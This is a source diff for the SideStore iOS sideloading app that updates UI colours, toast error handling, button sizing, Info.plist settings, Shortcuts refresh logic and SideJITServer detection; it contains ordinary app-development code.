@@ -506,11 +506,11 @@
<color key="tintColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<color key="separatorColor" white="1" alpha="0.25" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<prototypes>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" accessoryType="disclosureIndicator" indentationWidth="10" reuseIdentifier="TeamCell" textLabel="6ip-34-gmM" detailTextLabel="knk-Wf-PKf" style="IBUITableViewCellStyleSubtitle" id="qeQ-eb-2SC" customClass="InsetGroupTableViewCell" customModule="AltStore" customModuleProvider="target">
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" accessoryType="disclosureIndicator" indentationWidth="10" reuseIdentifier="TeamCell" textLabel="6ip-34-gmM" detailTextLabel="knk-Wf-PKf" style="IBUITableViewCellStyleSubtitle" id="qeQ-eb-2SC" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="55.5" width="375" height="60"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="qeQ-eb-2SC" id="bT4-Fc-u6I">
<rect key="frame" x="0.0" y="0.0" width="334" height="60"/>
<rect key="frame" x="0.0" y="0.0" width="334.5" height="60"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<label opaque="NO" multipleTouchEnabled="YES" contentMode="left" insetsLayoutMarginsFromSafeArea="NO" text="Team 1" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" id="6ip-34-gmM">
@@ -550,20 +550,19 @@
</viewController>
<placeholder placeholderIdentifier="IBFirstResponder" id="yH5-jU-aez" userLabel="First Responder" sceneMemberID="firstResponder"/>
</objects>
<point key="canvasLocation" x="1401" y="734"/>
<point key="canvasLocation" x="2114" y="734"/>
</scene>
</scenes>
<color key="tintColor" name="Primary"/>
<resources>
<namedColor name="Primary">
<color red="0.0040000001899898052" green="0.50199997425079346" blue="0.51800000667572021" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
</namedColor>
</scenes>
<color key="tintColor" name="Primary"/>
<resources>
<namedColor name="Primary">
<color red="0.64313725490196083" green="0.019607843137254902" blue="0.98039215686274506" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
</namedColor>
<namedColor name="SettingsBackground">
<color red="0.0039215686274509803" green="0.50196078431372548" blue="0.51764705882352946" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
<color red="0.45098039215686275" green="0.015686274509803921" blue="0.68627450980392157" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
</namedColor>
<namedColor name="SettingsHighlighted">
<color red="0.0080000003799796104" green="0.32199999690055847" blue="0.40400001406669617" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
<color red="0.38823529411764707" green="0.011764705882352941" blue="0.58823529411764708" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
</namedColor>
</resources>
</document>

View File

@@ -108,12 +108,12 @@ private extension AuthenticationViewController
case .failure(let error as NSError):
DispatchQueue.main.async {
let error = error.withLocalizedFailure(NSLocalizedString("Failed to Log In", comment: ""))
let error = error.withLocalizedTitle(NSLocalizedString("Failed to Log In", comment: ""))
let toastView = ToastView(error: error)
toastView.textLabel.textColor = .altPink
toastView.detailTextLabel.textColor = .altPink
toastView.show(in: self)
toastView.textLabel.textColor = .altPrimary
toastView.detailTextLabel.textColor = .altPrimary
self.toastView = toastView
self.signInButton.isIndicatingActivity = false

View File

@@ -1,9 +1,9 @@
<?xml version="1.0" encoding="UTF-8"?>
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="21223" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="wKh-xq-NuP">
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="32700.99.1234" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="wKh-xq-NuP">
<device id="retina4_7" orientation="portrait" appearance="light"/>
<dependencies>
<deployment identifier="iOS"/>
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="21204"/>
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="22684"/>
<capability name="Named colors" minToolsVersion="9.0"/>
<capability name="Safe area layout guides" minToolsVersion="9.0"/>
<capability name="System colors in document resources" minToolsVersion="11.0"/>
@@ -356,8 +356,8 @@
<stackView opaque="NO" contentMode="scaleToFill" distribution="equalSpacing" translatesAutoresizingMaskIntoConstraints="NO" id="ewH-gi-pyW">
<rect key="frame" x="0.0" y="30.5" width="335" height="17"/>
<subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" verticalCompressionResistancePriority="751" text="Version 4.4.2" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="7E0-TV-G4l">
<rect key="frame" x="0.0" y="0.0" width="84.5" height="17"/>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" verticalCompressionResistancePriority="751" text="Version 0.5.6" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="7E0-TV-G4l">
<rect key="frame" x="0.0" y="0.0" width="84" height="17"/>
<fontDescription key="fontDescription" type="system" pointSize="14"/>
<color key="textColor" white="0.66666666666666663" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/>
@@ -596,7 +596,7 @@ World</string>
<tabBarItem key="tabBarItem" title="Browse" image="Browse" id="Uwh-Bg-Ymq"/>
<toolbarItems/>
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="dIv-qd-9L5" customClass="NavigationBar" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="0.0" width="375" height="96"/>
<rect key="frame" x="0.0" y="20" width="375" height="96"/>
<autoresizingMask key="autoresizingMask"/>
<color key="tintColor" name="Primary"/>
</navigationBar>
@@ -626,7 +626,7 @@ World</string>
</tabBarItem>
<toolbarItems/>
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="CzO-Kt-BlZ" customClass="NavigationBar" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="0.0" width="375" height="96"/>
<rect key="frame" x="0.0" y="20" width="375" height="96"/>
<autoresizingMask key="autoresizingMask"/>
</navigationBar>
<nil name="viewControllers"/>
@@ -883,7 +883,7 @@ World</string>
<navigationItem key="navigationItem" title="App IDs" id="3Co-uv-Fhb">
<barButtonItem key="leftBarButtonItem" style="plain" id="Aqs-QK-Ups">
<view key="customView" contentMode="scaleToFill" id="p0q-Fg-3Ba">
<rect key="frame" x="16" y="1" width="83" height="42"/>
<rect key="frame" x="16" y="7" width="83" height="42"/>
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
</view>
</barButtonItem>
@@ -909,7 +909,7 @@ World</string>
<tabBarItem key="tabBarItem" title="News" image="News" id="fVN-ed-uO1"/>
<toolbarItems/>
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="525-jF-uDK" customClass="NavigationBar" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="0.0" width="375" height="96"/>
<rect key="frame" x="0.0" y="20" width="375" height="96"/>
<autoresizingMask key="autoresizingMask"/>
<edgeInsets key="layoutMargins" top="8" left="20" bottom="8" right="8"/>
</navigationBar>
@@ -928,7 +928,7 @@ World</string>
<navigationController automaticallyAdjustsScrollViewInsets="NO" id="IXk-qg-mFJ" sceneMemberID="viewController">
<toolbarItems/>
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="9sB-f3-Fnk">
<rect key="frame" x="0.0" y="0.0" width="375" height="96"/>
<rect key="frame" x="0.0" y="0.0" width="375" height="108"/>
<autoresizingMask key="autoresizingMask"/>
</navigationBar>
<nil name="viewControllers"/>
@@ -1070,7 +1070,7 @@ World</string>
<navigationController automaticallyAdjustsScrollViewInsets="NO" id="Qo4-72-Hmr" sceneMemberID="viewController">
<toolbarItems/>
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="mcx-oR-qPe">
<rect key="frame" x="0.0" y="0.0" width="375" height="96"/>
<rect key="frame" x="0.0" y="0.0" width="375" height="108"/>
<autoresizingMask key="autoresizingMask"/>
</navigationBar>
<nil name="viewControllers"/>
@@ -1095,13 +1095,13 @@ World</string>
<image name="News" width="19" height="20"/>
<image name="Settings" width="20" height="20"/>
<namedColor name="Background">
<color red="0.6431" green="0.0196" blue="0.9804" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
<color red="0.45098039215686275" green="0.015686274509803921" blue="0.68627450980392157" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
</namedColor>
<namedColor name="BlurTint">
<color red="1" green="1" blue="1" alpha="0.3" colorSpace="custom" customColorSpace="sRGB"/>
<color red="1" green="1" blue="1" alpha="0.30000001192092896" colorSpace="custom" customColorSpace="sRGB"/>
</namedColor>
<namedColor name="Primary">
<color red="0.6431" green="0.0196" blue="0.9804" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
<color red="0.64313725490196083" green="0.019607843137254902" blue="0.98039215686274506" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
</namedColor>
<systemColor name="systemBackgroundColor">
<color white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>

View File

@@ -8,6 +8,7 @@
import UIKit
import minimuxer
import AltStoreCore
import Roxas
@@ -113,9 +114,9 @@ private extension BrowseViewController
let progress = AppManager.shared.installationProgress(for: app)
cell.bannerView.button.progress = progress
if let versionDate = app.latestVersion?.date, versionDate > Date()
if let versionDate = app.latestSupportedVersion?.date, versionDate > Date()
{
cell.bannerView.button.countdownDate = app.versionDate
cell.bannerView.button.countdownDate = versionDate
}
else
{
@@ -264,14 +265,20 @@ private extension BrowseViewController
previousProgress?.cancel()
return
}
if !minimuxer.ready() {
let toastView = ToastView(error: MinimuxerError.NoConnection)
toastView.show(in: self)
return
}
_ = AppManager.shared.install(app, presentingViewController: self) { (result) in
DispatchQueue.main.async {
switch result
{
case .failure(OperationError.cancelled): break // Ignore
case .failure(let error):
let toastView = ToastView(error: error)
let toastView = ToastView(error: error, opensLog: true)
toastView.show(in: self)
case .success: print("Installed app:", app.bundleIdentifier)

View File

@@ -22,7 +22,7 @@ final class CollapsingTextView: UITextView
}
}
var lineSpacing: CGFloat = 2 {
var lineSpacing: Double = 2 {
didSet {
self.setNeedsLayout()
}
@@ -34,7 +34,19 @@ final class CollapsingTextView: UITextView
{
super.awakeFromNib()
self.layoutManager.delegate = self
self.initialize()
}
private func initialize()
{
if #available(iOS 16, *)
{
self.updateText()
}
else
{
self.layoutManager.delegate = self
}
self.textContainerInset = .zero
self.textContainer.lineFragmentPadding = 0
@@ -108,6 +120,25 @@ private extension CollapsingTextView
{
self.isCollapsed.toggle()
}
@available(iOS 16, *)
func updateText()
{
do
{
let style = NSMutableParagraphStyle()
style.lineSpacing = self.lineSpacing
var attributedText = try AttributedString(self.attributedText, including: \.uiKit)
attributedText[AttributeScopes.UIKitAttributes.ParagraphStyleAttribute.self] = style
self.attributedText = NSAttributedString(attributedText)
}
catch
{
print("[ALTLog] Failed to update CollapsingTextView line spacing:", error)
}
}
}
extension CollapsingTextView: NSLayoutManagerDelegate

View File

@@ -8,6 +8,12 @@
import UIKit
extension PillButton
{
static let minimumSize = CGSize(width: 77, height: 31)
static let contentInsets = NSDirectionalEdgeInsets(top: 7, leading: 13, bottom: 7, trailing: 13)
}
final class PillButton: UIButton
{
override var accessibilityValue: String? {
@@ -70,9 +76,7 @@ final class PillButton: UIButton
}()
override var intrinsicContentSize: CGSize {
var size = super.intrinsicContentSize
size.width += 26
size.height += 3
let size = self.sizeThatFits(CGSize(width: Double.infinity, height: .infinity))
return size
}
@@ -88,6 +92,8 @@ final class PillButton: UIButton
self.layer.masksToBounds = true
self.accessibilityTraits.formUnion([.updatesFrequently, .button])
self.contentEdgeInsets = UIEdgeInsets(top: Self.contentInsets.top, left: Self.contentInsets.leading, bottom: Self.contentInsets.bottom, right: Self.contentInsets.trailing)
self.activityIndicatorView.style = .medium
self.activityIndicatorView.isUserInteractionEnabled = false
@@ -119,6 +125,15 @@ final class PillButton: UIButton
self.update()
}
override func sizeThatFits(_ size: CGSize) -> CGSize
{
var size = super.sizeThatFits(size)
size.width = max(size.width, PillButton.minimumSize.width)
size.height = max(size.height, PillButton.minimumSize.height)
return size
}
}
private extension PillButton

View File

@@ -18,8 +18,17 @@ extension TimeInterval
final class ToastView: RSTToastView
{
static let openErrorLogNotification = Notification.Name("ALTOpenErrorLogNotification")
var preferredDuration: TimeInterval
var opensErrorLog: Bool = false
convenience init(text: String, detailText: String?, opensLog: Bool = false) {
self.init(text: text, detailText: detailText)
self.opensErrorLog = opensLog
}
override init(text: String, detailText detailedText: String?)
{
if detailedText == nil
@@ -43,53 +52,43 @@ final class ToastView: RSTToastView
// RSTToastView does not expose stack view containing labels,
// so we access it indirectly as the labels' superview.
stackView.spacing = (detailedText != nil) ? 4.0 : 0.0
stackView.alignment = .leading
}
self.addTarget(self, action: #selector(ToastView.showErrorLog), for: .touchUpInside)
}
convenience init(error: Error, opensLog: Bool = false) {
self.init(error: error)
self.opensErrorLog = opensLog
}
convenience init(error: Error)
{
var error = error as NSError
var underlyingError = error.underlyingError
var preferredDuration: TimeInterval?
if
let unwrappedUnderlyingError = underlyingError,
error.domain == AltServerErrorDomain && error.code == ALTServerError.Code.underlyingError.rawValue
{
// Treat underlyingError as the primary error.
// Treat underlyingError as the primary error, but keep localized title + failure.
let nsError = error as NSError
error = unwrappedUnderlyingError as NSError
if let localizedTitle = nsError.localizedTitle {
error = error.withLocalizedTitle(localizedTitle)
}
if let localizedFailure = nsError.localizedFailure {
error = error.withLocalizedFailure(localizedFailure)
}
underlyingError = nil
preferredDuration = .longToastViewDuration
}
let text: String
let detailText: String?
if let failure = error.localizedFailure
{
text = failure
detailText = error.localizedFailureReason ?? error.localizedRecoverySuggestion ?? underlyingError?.localizedDescription ?? error.localizedDescription
}
else if let reason = error.localizedFailureReason
{
text = reason
detailText = error.localizedRecoverySuggestion ?? underlyingError?.localizedDescription
}
else
{
text = error.localizedDescription
detailText = underlyingError?.localizedDescription ?? error.localizedRecoverySuggestion
}
let text = error.localizedTitle ?? NSLocalizedString("Operation Failed", comment: "")
let detailText = error.localizedDescription
self.init(text: text, detailText: detailText)
if let preferredDuration = preferredDuration
{
self.preferredDuration = preferredDuration
}
}
required init(coder aDecoder: NSCoder) {
@@ -112,6 +111,18 @@ final class ToastView: RSTToastView
override func show(in view: UIView, duration: TimeInterval)
{
if opensErrorLog, #available(iOS 13.0, *), case let configuration = UIImage.SymbolConfiguration(font: self.textLabel.font),
let icon = UIImage(systemName: "chevron.right.circle", withConfiguration: configuration) {
let tintedIcon = icon.withTintColor(.white, renderingMode: .alwaysOriginal)
let moreIconImageView = UIImageView(image: tintedIcon)
moreIconImageView.translatesAutoresizingMaskIntoConstraints = false
self.addSubview(moreIconImageView)
NSLayoutConstraint.activate([
moreIconImageView.trailingAnchor.constraint(equalTo: self.trailingAnchor, constant: -self.layoutMargins.right),
moreIconImageView.centerYAnchor.constraint(equalTo: self.textLabel.centerYAnchor),
moreIconImageView.leadingAnchor.constraint(greaterThanOrEqualToSystemSpacingAfter: self.textLabel.trailingAnchor, multiplier: 1.0)
])
}
super.show(in: view, duration: duration)
let announcement = (self.textLabel.text ?? "") + ". " + (self.detailTextLabel.text ?? "")
@@ -127,4 +138,10 @@ final class ToastView: RSTToastView
{
self.show(in: view, duration: self.preferredDuration)
}
@objc
func showErrorLog() {
guard self.opensErrorLog else { return }
NotificationCenter.default.post(name: ToastView.openErrorLogNotification, object: self)
}
}

View File

@@ -1,13 +0,0 @@
//
// Error+Message.swift
// SideStore
//
// Created by naturecodevoid on 5/30/23.
// Copyright © 2023 SideStore. All rights reserved.
//
extension Error {
func message() -> String {
(self as? LocalizedError)?.failureReason ?? self.localizedDescription
}
}

View File

@@ -0,0 +1,96 @@
//
// ProcessInfo+SideStore.swift
// SideStore
//
// Created by ny on 10/23/24.
// Copyright © 2024 SideStore. All rights reserved.
//
import Foundation
fileprivate struct BuildVersion: Comparable {
let prefix: String
let numericPart: Int
let suffix: Character?
init?(_ buildString: String) {
// Initialize indices
var index = buildString.startIndex
// Extract prefix (letters before the numeric part)
while index < buildString.endIndex, !buildString[index].isNumber {
index = buildString.index(after: index)
}
guard index > buildString.startIndex else { return nil }
self.prefix = String(buildString[buildString.startIndex..<index])
// Extract numeric part
let startOfNumeric = index
while index < buildString.endIndex, buildString[index].isNumber {
index = buildString.index(after: index)
}
guard let numericValue = Int(buildString[startOfNumeric..<index]) else { return nil }
self.numericPart = numericValue
// Extract suffix (if any)
if index < buildString.endIndex {
self.suffix = buildString[index]
} else {
self.suffix = nil
}
}
// Implement Comparable protocol
static func < (lhs: BuildVersion, rhs: BuildVersion) -> Bool {
// Compare prefixes
if lhs.prefix != rhs.prefix {
return lhs.prefix < rhs.prefix
}
// Compare numeric parts
if lhs.numericPart != rhs.numericPart {
return lhs.numericPart < rhs.numericPart
}
// Compare suffixes
switch (lhs.suffix, rhs.suffix) {
case let (l?, r?):
return l < r
case (nil, _?):
return true // nil is considered less than any character
case (_?, nil):
return false
default:
return false // Both are nil and equal
}
}
static func == (lhs: BuildVersion, rhs: BuildVersion) -> Bool {
return lhs.prefix == rhs.prefix &&
lhs.numericPart == rhs.numericPart &&
lhs.suffix == rhs.suffix
}
}
extension ProcessInfo {
var shortVersion: String {
operatingSystemVersionString
.replacingOccurrences(of: "Version ", with: "")
.replacingOccurrences(of: "Build ", with: "")
}
var operatingSystemBuild: String {
if let start = shortVersion.range(of: "(")?.upperBound,
let end = shortVersion.range(of: ")")?.lowerBound {
shortVersion[start..<end].replacingOccurrences(of: "Build ", with: "")
} else { "???" }
}
var sparseRestorePatched: Bool {
if operatingSystemVersion < OperatingSystemVersion(majorVersion: 18, minorVersion: 1, patchVersion: 0) { false }
else if operatingSystemVersion > OperatingSystemVersion(majorVersion: 18, minorVersion: 1, patchVersion: 1) { true }
else if operatingSystemVersion >= OperatingSystemVersion(majorVersion: 18, minorVersion: 1, patchVersion: 0),
let currentBuild = BuildVersion(operatingSystemBuild),
let targetBuild = BuildVersion("22B5054e") {
currentBuild >= targetBuild
} else { false }
}
}

View File

@@ -1,19 +0,0 @@
//
// Source+Trusted.swift
// SideStore
//
// Created by Fabian Thies on 04.02.23.
// Copyright © 2023 SideStore. All rights reserved.
//
import AltStoreCore
extension Source {
var isOfficial: Bool {
self.identifier == Source.altStoreIdentifier
}
var isTrusted: Bool {
UserDefaults.shared.trustedSourceIDs?.contains(self.identifier) ?? false
}
}

View File

@@ -1,17 +0,0 @@
//
// StoreApp+Searchable.swift
// SideStore
//
// Created by Fabian Thies on 01.12.22.
// Copyright © 2022 SideStore. All rights reserved.
//
import AltStoreCore
extension StoreApp: Filterable {
func matches(_ searchText: String) -> Bool {
searchText.isEmpty ||
self.name.lowercased().contains(searchText.lowercased()) ||
self.developerName.lowercased().contains(searchText.lowercased())
}
}

View File

@@ -1,15 +0,0 @@
//
// StoreApp+SideStore.swift
// SideStore
//
// Created by naturecodevoid on 4/9/23.
// Copyright © 2023 SideStore. All rights reserved.
//
import AltStoreCore
extension StoreApp {
var isSideStore: Bool {
self.bundleIdentifier == Bundle.Info.appbundleIdentifier
}
}

View File

@@ -1,19 +0,0 @@
//
// StoreApp+Trusted.swift
// SideStore
//
// Created by Fabian Thies on 04.02.23.
// Copyright © 2023 SideStore. All rights reserved.
//
import AltStoreCore
extension StoreApp {
var isFromOfficialSource: Bool {
self.source?.isOfficial ?? false
}
var isFromTrustedSource: Bool {
self.source?.isTrusted ?? false
}
}

View File

@@ -1,45 +0,0 @@
//
// UIApplication+SideStore.swift
// SideStore
//
// Created by naturecodevoid on 5/20/23.
// Copyright © 2023 SideStore. All rights reserved.
//
extension UIApplication {
static var keyWindow: UIWindow? {
UIApplication.shared.windows.filter { $0.isKeyWindow }.first
}
static var topController: UIViewController? {
guard var topController = keyWindow?.rootViewController else { return nil }
while let presentedViewController = topController.presentedViewController {
topController = presentedViewController
}
return topController
}
static func alert(
title: String? = nil,
message: String? = nil,
leftButton: (text: String, action: ((UIAlertAction) -> Void)?)? = nil,
rightButton: (text: String, action: ((UIAlertAction) -> Void)?)? = nil,
leftButtonStyle: UIAlertAction.Style = .default,
rightButtonStyle: UIAlertAction.Style = .default
) {
let alert = UIAlertController(title: title, message: message, preferredStyle: .alert)
if let leftButton = leftButton {
alert.addAction(UIAlertAction(title: leftButton.text, style: leftButtonStyle, handler: leftButton.action))
}
if let rightButton = rightButton {
alert.addAction(UIAlertAction(title: rightButton.text, style: rightButtonStyle, handler: rightButton.action))
}
if rightButton == nil && leftButton == nil {
alert.addAction(UIAlertAction(title: NSLocalizedString("Ok", comment: ""), style: .default))
}
DispatchQueue.main.async {
topController?.present(alert, animated: true)
}
}
}

View File

@@ -1,22 +0,0 @@
//
// View+Hidden.swift
// SideStore
//
// Created by naturecodevoid on 2/18/23.
// Copyright © 2023 SideStore. All rights reserved.
//
import SwiftUI
// https://stackoverflow.com/a/59228385 (modified)
extension View {
@ViewBuilder func isHidden(_ hidden: Binding<Bool>, remove: Bool = false) -> some View {
if hidden.wrappedValue {
if !remove {
self.hidden()
}
} else {
self
}
}
}

View File

@@ -2,6 +2,8 @@
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>ALTAnisetteURL</key>
<string>https://ani.sidestore.io</string>
<key>ALTAppGroups</key>
<array>
<string>group.$(APP_GROUP_IDENTIFIER)</string>
@@ -9,18 +11,10 @@
</array>
<key>ALTDeviceID</key>
<string>00008101-000129D63698001E</string>
<key>ALTServerID</key>
<string>1F7D5B55-79CE-4546-A029-D4DDC4AF3B6D</string>
<key>ALTPairingFile</key>
<string>&lt;insert pairing file here&gt;</string>
<key>ALTAnisetteURL</key>
<!--
for some reason, when we use the Info.plist preprocessor, 2 slashes in a row
removes the rest of the line and makes the plist invalid. to get around this,
we add a variable expansion ( $() ) in between the slashes that will ultimately
evaluate to nothing, keeping the original URL while keeping the plist valid.
-->
<string>http:/$()/ani.sidestore.io:6969</string>
<key>ALTServerID</key>
<string>1F7D5B55-79CE-4546-A029-D4DDC4AF3B6D</string>
<key>CFBundleDevelopmentRegion</key>
<string>$(DEVELOPMENT_LANGUAGE)</string>
<key>CFBundleDocumentTypes</key>
@@ -50,8 +44,6 @@
<string>$(PRODUCT_NAME)</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>LSSupportsOpeningDocumentsInPlace</key>
<true/>
<key>CFBundleShortVersionString</key>
<string>$(MARKETING_VERSION)</string>
<key>CFBundleURLTypes</key>
@@ -99,6 +91,13 @@
</array>
<key>LSRequiresIPhoneOS</key>
<true/>
<key>LSSupportsOpeningDocumentsInPlace</key>
<false/>
<key>NSAppTransportSecurity</key>
<dict>
<key>NSAllowsArbitraryLoads</key>
<true/>
</dict>
<key>NSBonjourServices</key>
<array>
<string>_altserver._tcp</string>
@@ -137,13 +136,10 @@
<string>fetch</string>
<string>remote-notification</string>
</array>
<key>UIFileSharingEnabled</key>
<true/>
<key>UILaunchStoryboardName</key>
<string>LaunchScreen</string>
<key>NSAppTransportSecurity</key>
<dict>
<key>NSAllowsArbitraryLoads</key>
<true/>
</dict>
<key>UIMainStoryboardFile</key>
<string>Main</string>
<key>UIRequiredDeviceCapabilities</key>
@@ -210,17 +206,5 @@
</dict>
</dict>
</array>
<key>UISupportsDocumentBrowser</key>
<true/>
<key>UIFileSharingEnabled</key>
<true/>
<!--
#if MDC
-->
<key>NSAppleMusicUsageDescription</key>
<string>Full access to files on your device is required to apply the installd patch to remove the 3 app limit that free developer accounts have.</string>
<!--
#endif
-->
</dict>
</plist>

View File

@@ -8,6 +8,7 @@
import Foundation
import minimuxer
import AltStoreCore
@available(iOS 14, *)
@@ -39,8 +40,12 @@ final class IntentHandler: NSObject, RefreshAllIntentHandling
// Give ourselves 9 extra seconds before starting handle() timeout timer.
// 10 seconds or longer results in timeout regardless.
self.queue.asyncAfter(deadline: .now() + 9.0) {
self.finish(intent, response: RefreshAllIntentResponse(code: .ready, userActivity: nil))
self.queue.asyncAfter(deadline: .now() + 8.0) {
if minimuxer.ready() {
self.finish(intent, response: RefreshAllIntentResponse(code: .success, userActivity: nil))
} else {
self.finish(intent, response: RefreshAllIntentResponse(code: .failure, userActivity: nil))
}
}
if !DatabaseManager.shared.isStarted
@@ -52,12 +57,14 @@ final class IntentHandler: NSObject, RefreshAllIntentHandling
}
else
{
self.finish(intent, response: RefreshAllIntentResponse(code: .ready, userActivity: nil))
self.refreshApps(intent: intent)
}
}
}
else
{
self.finish(intent, response: RefreshAllIntentResponse(code: .ready, userActivity: nil))
self.refreshApps(intent: intent)
}
}
@@ -83,6 +90,11 @@ final class IntentHandler: NSObject, RefreshAllIntentHandling
// We took too long to finish and return the final result,
// so we'll now present a normal notification when finished.
operation.presentsFinishedNotification = true
if minimuxer.ready() {
self.finish(intent, response: RefreshAllIntentResponse(code: .success, userActivity: nil))
} else {
self.finish(intent, response: RefreshAllIntentResponse(code: .failure, userActivity: nil))
}
}
self.finish(intent, response: RefreshAllIntentResponse(code: .inProgress, userActivity: nil))
@@ -106,6 +118,9 @@ private extension IntentHandler
{
// Queue response in case refreshing finishes after confirm() but before handle().
self.queuedResponses[intent] = response
DispatchQueue.main.async {
UIApplication.shared.perform(#selector(NSXPCConnection.suspend))
}
}
}
}
@@ -126,10 +141,12 @@ private extension IntentHandler
}
self.finish(intent, response: RefreshAllIntentResponse(code: .success, userActivity: nil))
UIApplication.shared.perform(#selector(NSXPCConnection.suspend))
}
catch RefreshError.noInstalledApps
catch ~RefreshErrorCode.noInstalledApps
{
self.finish(intent, response: RefreshAllIntentResponse(code: .success, userActivity: nil))
UIApplication.shared.perform(#selector(NSXPCConnection.suspend))
}
catch let error as NSError
{

View File

@@ -7,7 +7,6 @@
//
import UIKit
import SwiftUI
import Roxas
import EmotionalDamage
import minimuxer
@@ -42,48 +41,100 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
override func viewDidLoad()
{
defer {
if UnstableFeatures.enabled(.swiftUI) {
let rootView = RootView()
.environment(\.managedObjectContext, DatabaseManager.shared.viewContext)
self.destinationViewController = UIHostingController(rootView: rootView)
} else {
// Create destinationViewController now so view controllers can register for receiving Notifications.
self.destinationViewController = self.storyboard!.instantiateViewController(withIdentifier: "tabBarController") as! TabBarController
}
// Create destinationViewController now so view controllers can register for receiving Notifications.
self.destinationViewController = self.storyboard!.instantiateViewController(withIdentifier: "tabBarController") as! TabBarController
}
super.viewDidLoad()
}
override func viewDidAppear(_ animated: Bool) {
super.viewDidAppear(true)
#if MDC
MDC.alertIfNotPatched()
#endif
if #available(iOS 17, *), !UserDefaults.standard.sidejitenable {
DispatchQueue.global().async {
self.isSideJITServerDetected() { result in
DispatchQueue.main.async {
switch result {
case .success():
let dialogMessage = UIAlertController(title: "SideJITServer Detected", message: "Would you like to enable SideJITServer", preferredStyle: .alert)
// Create OK button with action handler
let ok = UIAlertAction(title: "OK", style: .default, handler: { (action) -> Void in
UserDefaults.standard.sidejitenable = true
})
let cancel = UIAlertAction(title: "Cancel", style: .cancel)
//Add OK button to a dialog message
dialogMessage.addAction(ok)
dialogMessage.addAction(cancel)
// Present Alert to
self.present(dialogMessage, animated: true, completion: nil)
case .failure(_):
print("Cannot find sideJITServer")
}
}
}
}
}
if #available(iOS 17, *), UserDefaults.standard.sidejitenable {
DispatchQueue.global().async {
self.askfornetwork()
}
print("SideJITServer Enabled")
}
#if !targetEnvironment(simulator)
if UnstableFeatures.enabled(.onboarding) && !UserDefaults.standard.onboardingComplete {
self.showOnboarding()
return
}
start_em_proxy(bind_addr: Consts.Proxy.serverURL)
guard let pf = fetchPairingFile() else {
self.showOnboarding(enabledSteps: [.pairing])
displayError("Device pairing file not found.")
return
}
start_minimuxer_threads(pf)
#endif
}
func showOnboarding(enabledSteps: [OnboardingStep] = OnboardingStep.allCases) {
let onboardingView = OnboardingView(onDismiss: { self.dismiss(animated: true) }, enabledSteps: enabledSteps)
.environment(\.managedObjectContext, DatabaseManager.shared.viewContext)
let navigationController = UINavigationController(rootViewController: UIHostingController(rootView: onboardingView))
navigationController.isNavigationBarHidden = true
navigationController.isModalInPresentation = true
self.present(navigationController, animated: true)
func askfornetwork() {
let address = UserDefaults.standard.textInputSideJITServerurl ?? ""
var SJSURL = address
if (UserDefaults.standard.textInputSideJITServerurl ?? "").isEmpty {
